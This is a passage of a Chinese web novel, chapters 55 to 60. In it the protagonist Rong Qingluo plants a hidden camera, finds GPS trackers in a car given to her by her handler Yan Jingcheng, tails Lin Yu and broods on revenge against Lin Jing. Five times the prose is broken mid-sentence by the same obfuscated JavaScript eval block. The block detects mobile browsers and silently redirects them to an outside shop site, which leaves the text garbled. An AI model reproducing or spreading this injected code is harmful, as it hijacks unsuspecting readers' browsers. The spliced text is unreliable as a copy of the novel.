思考片刻，她回身，将纸盒里的车钥匙和汽车相片装进兜里，又将屋子里的垃圾收拾好，这才拎着垃圾袋拉开门。 在楼道里，容清洛装模作样地整理垃圾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578006|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋，趁着这个档口，细致地将门口的这片区域检查了一遍。 同样没发现严靖诚寄给她的这种针孔摄像头。 可怀疑一旦产生，如何能轻易消除。 她并不信任严靖诚。 同样的，严靖诚也不信任她。 所以严靖诚怎么可能不监视她呢？ 这一刻，容清洛的心里生出搬家的想法。 但是搬家得有由头，否则无缘无故的反生事端。 将垃圾扔到垃圾桶里以后，容清洛在楼下闲逛了一圈，果然在角落里的一个停车位上找到了照片上的车，外观和车牌号都与相片上一模一样。 可容清洛却没有第一时间上车。 她需要好好想一想目前的情况。 容清洛到附近的一家饭店点了碗面，洗了个手后到饭店隔壁的小商店里买水。 能把车开到她楼下。 能在宁川市各个储物柜传递消息。 这说明严靖诚在这边的手下人数并不少，而且就在她周围。 那么问题来了。 这些人会不会每天都在暗处监视着她呢？ 或者说，现在，在某一个地点，是否有人正在盯着她的一举一动？ 容清洛把钱递给商店老板，在等老板找零的过程中她想到这一点，立马冷汗就顺着脖子滴下来。 她连忙向商店门外看去。 傍晚，周围林立的单元楼里逐渐亮起万家灯火，本该是烟火人间的温馨景象，在容清洛眼里却宛如炼狱里催命的盏盏鬼火。 老板把钱放在收银台上半晌，却见她只是盯着外面发呆，喊她道：“嘿，小姑娘，小姑娘。” 容清洛这才回神：“啊？” 老板把钱从台上拿起递给她：“小姑娘是不是中暑了，怎么魂不守舍的，满头满脸都是汗。旁边就是药店，可以去买点藿香正气颗粒解解暑。” 容清洛：“没事儿，就是天太热，想事情一下子走神了，谢谢老板啊，再见。” 从商店里走出，夏日的热风迎面拂过，却让容清洛从骨子里升腾起森森寒意。 战栗和恐惧让她差点站不住。 容清洛强撑着回到饭店坐下。 56. 长夜独行 恰好这时，服务员把容清洛点好的面端上来。 容清洛拿起筷子。 然而，往常美味的面在此时却令她味同嚼蜡。 容清洛猛地灌下半瓶水，这才勉强压下心中的烦躁。 严靖诚明明手里有不少人，为什么还一定要让她来接近林裕呢？ 他派别人不行吗？ 为什么是她呢？ 严靖诚的终极目的到底是什么？ 从表面上来看，严靖诚想要重新打造一个替身。 而她恰好能满足成为这个替身的条件。 这也是严靖诚当初威逼利诱她的原因。 如果这是严靖诚的终极目的，那他应该把这个目的藏得严严实实。 可据她观察，严靖诚其实并不担心她发现这个真相。 相反，他有恃无恐。 以前她以为，这是因为严靖诚知道，她无法抵抗。 甚至他明白，她和林家也有仇，所以她即便知道自己被骗被利用，也会继续把复仇进行下去。 无论是心理因素还是外界因素，他都把她看得很透。 但现在，容清洛不确定了。 也许这些不过都是幌子罢了。 她觉得，严靖诚的目的绝对不仅仅是让她接近林裕、传递情报这么简单。 他肯定另有图谋。 但最终目的，恐怕只有最后图穷匕见时，她才能一窥。 可等到那时候，对她而言就太过被动，如果她被当作弃子牺牲，她自己想要做的事情还没有做完怎么办？ 容清洛深深叹气。 本来她想着，山高皇帝远，只要她离开南庐市，她怎样行动就是掌握在她自己手里，严靖诚无法掣肘她。 没想到一试探，竟然试探出这么个结果。 没错，其实这次联系严靖诚，是她的一次试探。 她原本可以直接租车去盯梢，这样更方便，还可以随时换车换车牌。 可是她已经来宁川市将近五个月了，而严靖诚没有一次联系她。 如果她是一只被放出去的风筝，她不知道，这根线是否还在严靖诚手里。 她很想知道，她能自主到什么程度。 也想验证一下严靖诚对宁川市的掌控力。 所以她试探着发信。 现在，她的试探有了答案。 一个针孔摄像头就让她如临大敌。 她之前完全没有严靖诚有可能在她现在住的房子里安装摄像头的意识。 甚至现在她想到这一点了，却根本找不到摄像头的隐藏之处。 容清洛狠狠吃下一口面。 她还是读书太少，学识有限，对这个世界了解不深，在科技领域更是有很多盲区。 太多的手段她根本就是闻所未闻，见所未见。 可是怎么办，她不想当一把别人手里没有脑子、只懂横冲直撞的蠢刀。 容清洛吃完饭回到楼下，绕着严靖诚给她的那辆车来来回回走了好几圈，里里外外仔细地检查车上是否有任何不妥之处。 有这种防范意识当然是好的，但是容清洛对汽车构造这方面完全是一窍不通，就算这车真有什么问题，哪怕是在哪里安了炸弹，怕是她也根本看不出来。 最终当然是一无所获。 容清洛只好关上车门，上楼回家。 她必须想办法换个住处，这辆车也得找机会搞报废。 另外，她真得要多学点技术了。 正所谓，技多不压身。 谁知道哪一天这些就成为她保命的手段了。 接下来的几天里，容清洛一直在找机会把严靖诚给的针孔摄像头安到林裕的公寓门口。 在这个过程中，容清洛意外地在楼道里发现了整栋楼的电表。 她原本没太在意，但是脚步挪开前又总觉得应该做些什么。 于是她拿出手机对着标有林裕公寓门牌号的那个电表拍了一张照片，这才离开。 之后她每次来这栋单元楼，都会专门来给电表拍张照片。 其实，安摄像头这件事的难点在于林裕公寓的楼道里本身就有监控，她如果这样直接在林裕门口搞小动作，很容易被拍下来。 所以她一直在等机会，看能不能把那个监控弄坏。 但是转念一想，这样做又太明显了，颇有种此地无银三百两的感觉。 所以思来想去，容清洛最后只能把针孔摄像头放在花盆里，然后把花盆摆在林裕公寓门口的窗台上。 只是这样也有风险，因为不知道花盆什么时候会被保洁给收走。 可她目前只能想到这个办法。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578007|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就这样一直到八月中旬。 容清洛每天都会检查摄像头拍摄的画面，这间公寓的门从没有被打开过。 接着，她又将这段时间拍的电表图片放在一起比对。 电表上的数字一直没变过。 根据这两点，基本就已经可以判断，这间公寓目前确实没人住。 那么，她必须想别的方法接近林裕了。 所以容清洛打算找机会把花盆撤走。 由于干完一整个月才结算发工资，容清洛不想白干的话就只能坚持到八月底再辞掉这个快递兼职。 因此她并没有那么着急处理掉花盆。 有一天，容清洛照常在林裕公寓所在的小区里送快递。 突然，整个小区陷入一片昏暗。 停电了。 容清洛拿出手机，业主群里面早已炸开锅。 在一众质问的话语的攻势之下，有知情人士透露，之所以出现目前的状况，是因为附近有个地方在施工，施工队不小心把电缆挖断了，这才导致这附近好几个小区都突然停电。 小区里目前各处都没有供电，不知何时能抢修成功。 在来电以前，楼道里的监控应该也处于关闭状态。 容清洛意识到，这是一个好机会。 她连忙摸黑来到林裕公寓门口，将花盆装进带来的纸箱中。 这时，楼梯口传来声响，她来不及躲避，和拿着手电筒的几个人正好撞上。 原来是物业在逐层排查是否有住户被困在电梯里。 他们见容清洛穿着快递员的衣服，倒也没有怀疑她为什么出现在这里。 有两个物业工作人员敲开对面住户的门，询问是否有人受伤，并发放应急物资。 其中一个物业工作人员见她还站在这儿，奇怪道：“你怎么不走，杵在这里干什么？” 容清洛指着林裕公寓的门说道：“我给这户人家送快递，可是刚刚敲半天门也没有人开，打电话也没打通。我想看看你们能把门敲开吗，也省得我之后还得再跑一趟。这快递不轻呢。” 对方将手中的本子翻了一页，指着其中的记录说道：“这一户的户主是林先生，他很久都没在这边住了，房屋一直闲置着呢。” 容清洛眼尖，看到户主那一栏写着林裕的名字。 57. 长夜独行 工作人员道：“你是不是走错楼层了，刚好赶上停电，天太黑，看错了也是有可能的。” “啊？不会吧……”容清洛露出将信将疑的表情，低头就着手电筒的光看向手中纸箱上的快递单，胡诌道，“嗐，瞅瞅我这眼睛，还真是看错了，不是这栋楼，是旁边那栋，还真是多亏你提醒，我这就走了。” 说着她便抱着怀中的纸箱往楼下走。 总算离开那群人的视线，容清洛把纸箱拿下楼，塞进她要送的一堆快递中间。 想了想，她又从花盆里取出针孔摄像头装进兜里，然后将花盆扔进一旁的垃圾桶中。 接着容清洛把快递专用的三轮车开回快递站。 换上自己的衣服以后，容清洛趁着夜色回到林裕公寓门前。 物业口中的户主林先生就是林裕。 既然如此，即便林裕目前不在这边住，这间公寓也和他有着千丝万缕的联系。 趁着她这个月还能出入这个小区，还是把摄像头留在这里算了，说不定未来会有意外的收获。 于是，容清洛将这个针孔摄像头安在了林裕公寓门边的一个装饰物上。 除非是行家，否则一般普通人都看不出来。 停电带来的黑暗与监控的失效为她所做的一切提供了保护色。 做完这一切，林裕这间空公寓所在的这个小区以后就不是她调查的重点了。 容清洛感觉压力小了一圈。 之后只能从林晶入手。 容清洛一直关注着林晶的社交账号，她目前还在外地逍遥。 容清洛估计，林晶应该九月初开学的时候才会来宁川市。 是以，八月下旬这几天，容清洛有一些空余时间。 她打算立马着手调查严靖诚的手下。 容清洛对宁川市区各处的储物柜一个一个地侦查了一遍，选择了一个商场的储物柜，这里位于商圈，相对人流量较大。 这天刚好轮到容清洛休息，她不用去咖啡店上班，便来到商圈，把信放进储物柜中，之后便立马隐藏在熙攘的人群里。 绕了一个弯，容清洛走到对面二楼的一家茶馆中。 她坐在窗边，点了一杯茶，一面饮茶，一面观察着对面的动静。 只隔了一条步行街，再加上容清洛的视力还不错，如果有人来取信，她可以很清楚地看到来人是谁。 在信里，容清洛告诉严靖诚，资料里记录的公寓确实是林裕名下的，但已经空置许久，无继续盯梢价值，所以接下来她会以林晶为突破口。 她写这封信，其实就是为了借这个机会看看严靖诚安排的其他人都是什么样子。 如此，她才好对严靖诚的路数有个判断。 容清洛在茶馆从上午坐到晚上，面上装出一副假日里消磨时间的大学生的模样，拿着一本书细细品读，实则眼神不断地向窗外瞟去。 大概在晚上七八点的时候，夏日的夜晚，此时华灯初上，商圈繁华喧嚣。 影影绰绰间，容清洛看见有个黑衣男子从商场中走出，打开储物柜。 他似乎停顿了一下，应该是没想到里面会有信。 只见他四处张望，似是在观察周围是否有人在看他。 容清洛拿起手机，假装在拍窗外夜景，实际上她将镜头对准这人的脸，连续抓拍。 黑衣男子很快将信取出，沿着街道离开。 容清洛的茶点早就付过钱，是以她拿起背包便往楼下跑，然后顺着刚刚那人离开的方向追去。 步行街上行人很多，容清洛顺着人流远远跟在那男子身后。 见那人走进附近一个小区，容清洛担心离得太近会被发现，便没有继续跟下去。 她在旁边的小商店里挑了根雪糕，付钱的时候和老板娘打听了一嘴，这才知道，这小区里住的多半是在商圈工作的人。 容清洛回到储物柜旁，她随意地观察了几眼，走进商场。 刚刚那人穿的是制服，她要来找找看，这个商场里有没有人穿的是一样的衣服。 不出容清洛所料，她没逛多久，就发现商场保安的衣服和刚刚那人的衣着一模一样。 所以那人是这儿的保安？ 有了这个猜测，容清洛找到商场墙上挂着的保安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578008|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员一览表。 因为商场马上就要关门，她来不及在现场细细比对，只好拍张照留存，回家仔细甄别。 最终，果不其然，其中一名保安的脸和那个取信之人的脸一模一样。 看来，严靖诚手下这些秘密联络点的人基本都在各个寄存柜所在的场所上班。 也就是说，宁川市的很多超市、商场、酒店等地都有严靖诚的人。 这么大一张网络，严靖诚肯定还有其他图谋。 严靖诚同时下着很多棋。 让她接近林裕，应该只是严靖诚布下的其中一步棋。 其他的事情容清洛管不着，她不太感兴趣，也没那个能力管。 她目前希望的就是能够保证自己的安危。 毕竟，她虽然和严靖诚合作，为严靖诚做事，但她并不是像旧社会一样变成严靖诚的奴隶。 她有她自己的自由，她不能容忍自己被监视，被掌控，被视为刀俎上的鱼肉，毫无还手之力。 本来容清洛还想在多个联络点分别向严靖诚发几次信，以此来进一步分析严靖诚手下人做事的路数。 但是她没那么多信息可以汇报，便只得作罢。 心中有数之后，容清洛没有盯着这些联络点不放。 她把严靖诚给她的那辆车开到一家修车行，说这是她从别人手里买来的二手车，但是不确定自己是否被骗，所以来这儿检查一下车。 容清洛着重强调了要检查车的安全性能，检查车上是否有炸弹。 修车师傅以为炸弹是她在开玩笑，倒是乐呵呵地帮她把车里里外外地仔细检查了一遍，最后告诉她：“这辆车没什么问题，虽然是二手车，但还挺新的，估计原车主开得也少。只是……” 见他面露难色，容清洛问道：“只是什么？您说就是。” 修车师傅摊开手掌，露出两个黑色小盒子。 容清洛皱眉。 修车师傅将两个小盒子递给容清洛：“小姑娘，这车是好车，更没有炸弹，就是仪表盘里面和座位下面装了这种带有GPS定位的窃听器。你这是从哪家二手车行买的车？” 58. 长夜独行 “不是在宁川市买的。”容清洛低头凝视着手里的两个小黑盒。 严靖诚果然在监视她。 从她在楼下看到这辆车开始到现在，过去了将近一个月。 在这一个月里，她只在晚上把车开到偏僻空旷的地方练过车，除此以外，她没有使用过这辆车。 幸好她有所防备，昨天晚上专门在练车的时候把车屁股上撞了一个窝，那么今天她来修车行是理所当然的事情，应该不会被怀疑。 容清洛把两个窃听器放在车盖上，示意修车师傅和她到远处说话。 两人站得离车足够远时，容清洛才问道：“师傅，您有没有办法把您刚刚说的和窃听器有关的话从那两个小盒子里删掉？” 修车师傅：“删掉做什么？我直接帮你把这两个东西毁掉就行。” 容清洛：“我想请您帮我把这两个窃听器装回原位，所以在那之前，希望您能把我们刚刚的对话给删掉。” 修车师傅：“这个你放心，我都懂的。我修车十多年了，这事儿我以前碰到过。所以在发现窃听器的时候，我已经第一时间将其关掉了。咱们刚刚的对话本来就没录进去。小姑娘，你怎么还要把窃听器装回原位啊，这害人的东西早点扔掉为好。” 容清洛：“没事儿，您帮我装回去吧。待会儿安好后咱俩少说话。” 她最好还是避免让严靖诚得知自己已经发现窃听器，这样说不定什么时候她还可以反利用一下严靖诚。 修车师傅没办法，只好帮容清洛把窃听器打开并安回原位。 安装完成以后，容清洛走到车尾，故意大声道：“您看看这车屁股上的坑能不能修。” 修车师傅比了一个ok的动作，便沉默着开始修车。 修好车，容清洛多给了修车师傅一笔钱，请他对窃听器的事情守口如瓶，这也是为他自己减少麻烦。 从修车行回来，容清洛没有把车停在自己住的单元楼楼下。 这真不能怪她疑神疑鬼，毕竟严靖诚把事情做在了前面。 她必须把车停远点，以免在不开车的时候也被监听到。 只可惜容清洛的小区没有地下停车场，所以她在车里故意狠狠骂了几句楼下竟然没有停车位，然后在小区里绕了好几圈，把车远远停到了一个角落。 一回到家，她首先打开电脑，开始放歌，把音乐的声音调到最大。 容清洛担心这房子里也有监听，所以刻意地在制止着自己自言自语的行为。 可是这样处在被监视之下不是常法，而她也没到和严靖诚撕破脸的时候。 所以她必须找到机会，搬出这里，并且处理掉那辆车。 容清洛明白，如果没有理由地突然搬走，很难不让严靖诚起疑。 所以她必须尽快通过林晶找到林裕的住址，这样她才可以顺理成章地搬到林裕住址周边的房子。 到时候她要自己找房子，并且自己换锁。 想到这里，容清洛登上社交网站，查看林晶的社交账号。 今天林晶好高产，连着发了好几条动态。 全部浏览一遍，容清洛看到其中有张照片上出现了生日蛋糕以及闭着眼许愿的林晶。 容清洛调查过林晶，所以她当然知道林晶生日具体在哪一天，只是因为最近一直在忙别的事，便忘记了这一茬。 直到这时容清洛才突然想起，今天是林晶的生日。 看样子林晶是在度假的时候和家人一起过生日。 容清洛又仔细地将这几条动态逐一研究。 她比较在意的是其中一条。 这条动态有两张图。 第一张图片是一条项链，看着就很贵重。 第二张图片是一个男人的背影。 配文是：「我哥送我的生日礼物，以及偷拍的我的帅气哥哥。」 下面有人评论：大手笔啊。 林晶回复：还好啦其实。 那人继续评论：晶姐什么时候回宁川市呀，快开学了。 林晶：大后天就回啦。 后面的评论容清洛没有继续刷。 她满心都是林晶会在大后天回宁川市的信息。 据容清洛了解，林晶只有一个亲哥，就是林裕。 所以第二张图片上的男子应该是林裕没错。 如果是这样的话，大后天的时候，林裕应该会和林晶一起回宁川市。 容清洛希望届时林裕不要回林家老宅。 最好他直接回他自己常住的地方，这样方便容清洛盯梢。 不过容清洛对此并没有抱太大希望，只是不断安慰自己到时随机应变即可。 研究完林晶的社交账号，容清洛开始查林晶大后天回宁川市可能的航班。 林晶发的有定位，这个城市离宁川市还挺远的，所以容清洛基本可以断定，林晶会坐飞机。 大后天从那个城市飞往宁川市的航班有五趟，抵达时间基本都在下午和晚上。 那么，林晶和林裕到达机场的时间应该就在大后天从下午到晚上的这个时间段以内。 看着这些航班的时间，容清洛开始祈祷，希望林裕不会因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578009|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为突然有事而不和林晶一起回来，否则她就有可能见不到林裕。 做完这一切，已经天黑，但是时间还不算晚，容清洛随便吃了点面包算作晚饭，之后便开着车出去准备练车。 不过这次，容清洛没有继续在偏僻空旷的地方练车。 她直接把车往宁川市机场的方向开。 到达机场后，容清洛把车开往林家老宅所在的别墅区。 她这是在熟悉林裕从机场出发可能走的路线。 到达林家老宅所在的区域后，容清洛掉头，又回到机场。 接着，她把车向市中心开去。 就这样，容清洛把从机场到全市各个主要繁华地带的路线都开车走了一遍。 还好她从来到宁川市以后就一直在背地图，学车的时候更是找来宁川市的交通地图，力求做到将宁川市的各条路段，尤其几条主干道，烂熟于心。 是以容清洛对宁川市的各个路段都还算熟悉，不至于迷路。 在这个熟悉路线的过程中，容清洛突然意识到，全市的高档小区总共加起来的数量应该是有限的，毕竟有钱人总是少数。 那么，她完全可以先对这些地方进行一个大致的统计，然后对各个小区进行踩点，这样成竹在胸，也可以减少她跟丢的几率。 于是第二天，容清洛专门到商场买了一套很贵的行头。 换上之后，她直接去宁川市一家比较大的房地产中介去看房，弄到一份高档小区清单。 有了这份清单，容清洛根据地址分别对这些小区所在的地段进行了勘察，将从机场到各个小区的路线也提前开车过了一遍。 这下，她的心里才算真正有了底。 根据林晶在社交账号上新发的候机照片，容清洛大概锁定了两趟晚上的航班。 等在出站口外，她着重观察在这两趟航班抵达的时间出来的旅客。 果然，在人流中，容清洛看见林晶走出。 林晶身旁有一个中年男人，容清洛在照片上见过这人，他是林氏集团的董事长林丞，也是林裕和林晶的父亲。 林丞挽着的想必就是他妻子。 林家的女性都没有公开的照片，所以这是容清洛第一次见林丞的妻子。 容清洛没想到，林丞的妻子竟然看起来比他要年轻这么多。 令她更感到讶异的是，林丞夫妇身边除了林晶，竟然还有一个比林晶要小一些的女孩儿。 而这个女孩儿的脸……居然和容清洛现在的脸有七八分相似。 容清洛的大脑宕机了一瞬。 59. 长夜独行 林家还有一个女儿吗？ 怎么没听严靖诚提起过。 容清洛顾不得多想，她连忙举起胸前挂着的相机对着这群人咔咔连拍。 她发现手机拍出来的照片有时放大不够清晰，所以最近专门去买了能拍摄高清大图的专业相机。 专车早已等候多时。 很快，旁边的助理帮他们把行李放进车里，几人陆续上车。 怎么没看见林裕？ 正当容清洛疑惑时，只见林晶落在最后还未上车，她回头向后望去，有一男子正打着电话踱步而来。 那是林裕。 林裕挂断电话，过来和林晶说了几句。 于是林晶上了林丞的车，和众人一起离开。 容清洛的手搭在方向盘上没动，她的目标是林裕，没必要跟着这辆车走。 这时有一辆车缓缓驶来，停在林裕身边，有人下来接过林裕的行李箱。 林裕拉开车门上车。 容清洛连忙调整焦距，用相机拍下这辆车的车型和车牌号。 那辆车启动以后，容清洛脚踩油门，跟了上去。 眼瞧着林裕的车开进林氏集团的地下停车场，容清洛没有跟进去。 跟得太近容易让人起疑心，一旦起了疑心，以后就难以再进一步。 所以容清洛暂时将车开走了。 看来林裕是工作上有事情，所以直接回到公司。 容清洛估计林裕起码要忙一阵子，那她得找个地方等着。 不过这附近并不好停车。 但容清洛本来就在林氏集团旁边的咖啡店打工，所以她对这附近倒还算熟悉。 她找到一家离林氏集团停车场的出口较近的餐馆，把车停在外面，自己则在窗边坐着，时刻关注着从停车场开出来的车，顺便把晚饭解决掉。 大概晚上十点多，林裕的车还未开出来，但此时餐馆已经准备打烊，容清洛只好离开餐馆，开上车，慢慢地绕着林氏集团的这栋大厦兜圈子。 绕到第三圈的时候，容清洛恰好看见下午林裕坐的那辆车从停车场开出来。 容清洛连忙远远地跟在其后。 在林裕的车准备调头的时候，容清洛意识到，这车是要开进马路对面的那个小区。 而这个小区恰好是容清洛提前调查过的高档小区之一。 所以她不是第一次到这附近。 容清洛没有跟着调头。 她就近将车停进旁边的停车场，从后备箱里搬出一辆折叠电动车，套上外卖员的外套，立马就近接了一单这个小区的外卖，拿上自己没来得及扔的晚饭外包装，骑车往林裕的车的方向追。 容清洛的速度还算快，她成功混进林裕的小区时，远远地看见林裕的车在前面，她连忙不远不近地跟上。 这次，她终于确定了林裕的住址，代价是喜提外卖平台的罚款。 为了以防万一，容清洛跟了林裕好几天，确定这里确实是林裕目前常住的地方，她才放心。 很快，容清洛就在这附近看好一个小区，重新租了一套房子，不再住原来严靖诚租的地方。 跟着林裕的车一段时间，容清洛大概摸出了林裕的日常行程时间，比如一般什么时候出门去公司，什么时候下班回家，开车会走哪条路，以及常去应酬的几家酒店。 有一次，容清洛晚上实在是有些困，一不留神，稍微跟得离林裕的车近了一些。 等她意识到也许被发现了的时候，已经被林裕的车甩掉了。 容清洛担心林裕会派人来查这辆车，没有把车开回新搬的小区，而是开到了她之前租住的那个小区。 那个房子严靖诚并没有退租，而是长期租着，算是一个安全屋。 容清洛知道那个小区里有几个地方没有监控，所以专门把车停在了无监控的区域。 还好她送外卖的小车今天没放在后备箱里。 下车时，她把车上能识别身份的东西都装进背包带走，戴上帽子，专门挑没有监控的路走。 不知道暗地里是否有人盯着自己，容清洛走出小区时没有直接离开，而是往小区门口卖小吃的摊贩那儿走。 夜市人多，好掩护。 容清洛在一家卖手抓饼的餐车前停下，装作看价目表的样子，实则在看后面有没有人跟踪她。 给其他顾客打包好的老板娘见她一直没说话，主动问道：“小姑娘想吃什么？” 容清洛笑一笑，本想离开，突然看见餐车上贴的转让启事。 她脚步微顿。 这次被林裕发现之后，起码短期之内，她不会再开严靖诚给的那辆车去跟踪林裕了。 林裕不好跟。 而林晶要比林裕好跟的多。 她还是得去接近林晶。 林晶目前在江大读书。 江大后门有条小吃街，人还挺多的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578010|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她不如去那儿碰碰运气，看看能不能搜集些信息。 想到这里，容清洛脸上的笑意加深。 她跟老板娘聊了会儿天，这才知道，老板娘想把移动餐车卖出去，是因为家里孩子这学期开学已经读高三了，这么关键的一年，她得回老家照顾孩子，这个车带不走，所以想卖掉。 容清洛今天没带够钱，再加上第二天要在咖啡店上白班，便留了一个老板娘的电话，约定第二天傍晚在这里谈转让事宜。 之后容清洛坐了一班并不到她目前住的小区的公交车，在城市里绕了好大一圈，确定后面没有尾巴之后，她才放心地回家。 *** 有一个人其实让容清洛很在意。 就是那天在机场出现的那位，与她这张脸有七八分相像的少女。 但容清洛前段时间一直把精力放在弄清林裕的行踪和住址上，而最近她每天傍晚都得来江大的后街卖手抓饼，这导致她始终没有腾出时间来调查这个女生。 为了把每天傍晚的时间都空出来，容清洛专门给咖啡店的经理塞了个红包，把她的班次调成了一直是早班。刚好有店员不想早起，愿意和她调换，一直上晚班，所以倒也没人对她有微词。 容清洛每天只卖两个小时手抓饼，到点就收工，然后在江大校园里闲逛。 她来这里卖手抓饼，主要是找一个可以公开出现在江大附近的身份，免得她天天在这边转悠会惹人怀疑。 容清洛摊位旁边的餐馆有个院落，她给了这家老板一点钱，算是在院落里租个场地，每天她不在时就把餐车停在院子里，免得拉来拉去很麻烦。 隔壁摊位是个卖烤串的姑娘，为人挺爽朗，她把容清洛拉进了好几个学生外卖群。 此外，容清洛还从她这里知道了大学城各个大学的贴吧。 容清洛在江大的贴吧里潜水许久，得知不少小道消息，其中就包括林晶的课表。 林晶是个很张扬的人，所以，她是林氏集团的大小姐这一点，在江大并不是一个秘密。 关注她的人很多，反倒为容清洛省了不少力气。 好几次，容清洛在林晶上大课的时候混进大教室。 走廊上，校园中，她也和林晶有过几个擦肩而过的瞬间。 林晶昂着头，目不斜视，当然没有注意到容清洛这种不起眼的小角色。 容清洛低着头，余光却始终注视着林晶。 60. 长夜独行 看着林晶脸上志得意满的笑容，看着林晶每天光鲜亮丽、光明正大地在校园里读书交朋友，看着林晶被老师们赞扬、被同学们众星捧月。 林晶在享受着青春，获取着知识，而容清洛的这条路，却早已被林晶斩断。 在这些时刻，容清洛总是压抑着心中因目睹林晶的春风得意而迸发出的负面情绪，却还是不可避免地回忆起一些曾经。 曾经在暗巷之中，她听到林晶等人对吴焕晗的谩骂冷嘲，她懦弱躲避。 曾经在游泳馆内，在林晶的命令下，她被人不断地拳打脚踢，屈辱狼狈。 曾经她被林晶嚣张地推进学校里的人工湖，心如死灰。 曾经她被林晶找的人绑架，烧了仓库才得以逃脱，在深夜亡命乡间的公路上，胸腔里熊熊燃烧的怒火促使她生出对生命的无限渴望，她想活着，她要反抗。 曾经她在奄奄一息中目睹了林晶将叶时冉推下悬崖并且放火烧山、试图毁尸灭迹的行径，却无能为力。 曾经她满头满脸都是纱布，毁容的既定现实和对未来的绝望差点将她压垮，林晶让校方给了她一纸退学通知书以后，极致的想要毁天灭地的怒火再一次点燃她的生机。 她，凭什么不能活着。 这样的一幕幕黑暗瞬间无时无刻不在冲击着容清洛的神经。 她已经快要疯了。 严靖诚让她把林裕作为主要目标，再加上她想要更有把握一些，所以一直没对林晶动手，一直在隐忍。 但是这段时间，她因为在跟踪林裕的车时被发现，只好暂避锋芒，曲线救国，从林晶入手。 本来她觉得自己的心态已经练出来了，应该不会再被外物所扰。 可当她在现实生活中每日看着像林晶这般作恶多端之人反倒生活得特别好，她的心里还是无法平静。 一些质问，一遍又一遍地反复出现在容清洛的脑海中。 为什么作恶者不会受到惩罚？ 为什么草菅他人性命者可以心安理得地踩踏着他人的尸骨活在一片用他人之血液浇灌出的花团锦簇之中？ 人世间的公理何如？ 宇宙中的天道何如？ 难道都是摆设吗？ 容清洛觉得自己像是一个神经病，每天被自己脑子里的声音不断地追问。 你到底是个什么垃圾？ 你活在世上到底还有什么用？ 为什么她在笑，而你却在哭？ 为什么你这么无能为力？ 为什么你还不动手反抗？ 为什么你的心中还有这么多的顾虑？ 为什么你还在考虑道德准则？ 为什么你还在追求公平公正？ 为什么你要活得像一只阴间的鬼？ 为什么……？ 为什么……？ 到底，为什么？ 有无数个为什么的声音，在每一个喘息的间隙，质问着容清洛。 仿佛在她的内心，有另一个自己在监视着她。 她能看到内心中，那双充满愤怒和不甘的眼睛。 她像一个旁观者，看着另一个自己被折磨。 她觉察那痛苦。 她感受那头疼欲裂。 每当这个时候，容清洛都越发讨厌这样的自己。 厌恶自己的无知。 为什么对人世的经验、对社会的规则、对宇宙的真理有这么多的不明？ 厌恶自己的无能。 为什么明明如此软弱，却仍然因着心中汹涌的情绪而对现实有这么多的不平？ 更厌恶自己对仇恨的无法控制。 她不想被这些情绪所掌控、所奴役，她不想活得人不像人、鬼不像鬼，可她却似乎总是有些力不从心，似乎时时刻刻都在被仇恨所驱使。 她就是一个矛盾体，无法自洽，无法圆融地活在人间。 林晶满面春风的得意更衬出容清洛的愁苦。 林晶不断地向上，而她却不断地坠落。 这样的反差越大，容清洛的内心越痛苦。 容清洛感觉自己就像龟缩在阴暗角落里的恶鬼，在人间感到很绝望。 绝望到，想要真的离开人间。 可是，容清洛，真的，真的，很不喜欢这样的自己。 